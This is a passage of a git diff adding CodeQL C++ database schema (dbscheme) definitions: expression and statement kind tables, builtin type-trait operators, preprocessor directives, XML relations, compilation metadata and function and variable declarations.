+| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_stmt ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/* XML Files */ + +xmlEncoding(unique int id: @file ref, string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters + | @xmlelement + | @xmlcomment + | @xmlattribute + | @xmldtd + | @file + | @xmlnamespace; diff --git a/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/semmlecode.cpp.dbscheme b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/semmlecode.cpp.dbscheme new file mode 100644 index 00000000000..3c45f8b9e71 --- /dev/null +++ b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/semmlecode.cpp.dbscheme @@ -0,0 +1,2493 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/** + * Information about packages that provide code used during compilation. + * The `id` is just a unique identifier. + * The `namespace` is typically the name of the package manager that + * provided the package (e.g. "dpkg" or "yum"). + * The `package_name` is the name of the package, and `version` is its + * version (as a string). + */ +external_packages( + unique int id: @external_package, + string namespace : string ref, + string package_name : string ref, + string version : string ref +); + +/** + * Holds if File `fileid` was provided by package `package`. + */ +header_to_external_package( + int fileid : @file ref, + int package : @external_package ref +); + +/* + * Version history + */ + +svnentries( + unique int id : @svnentry, + string revision : string ref, + string author : string ref, + date revisionDate : date ref, + int changeSize : int ref +) + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + string action : string ref +) + +svnentrymsg( + unique int id : @svnentry ref, + string message : string ref +) + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +) + +/* + * C++ dbscheme + */ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +@location = @location_stmt | @location_expr | @location_default ; + +/** + * The location of an element that is not an expression or a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + /** The location of an element that is not an expression or a statement. */ + unique int id: @location_default, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_stmt( + /** The location of a statement. */ + unique int id: @location_stmt, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of an expression. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_expr( + /** The location of an expression. */ + unique int id: @location_expr, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @folder | @file + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +/* +case @function.kind of + 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; +*/ + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +| 40 = @decimal32 // _Decimal32 +| 41 = @decimal64 // _Decimal64 +| 42 = @decimal128 // _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +| 62 = @mfp8 // __mfp8 +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: 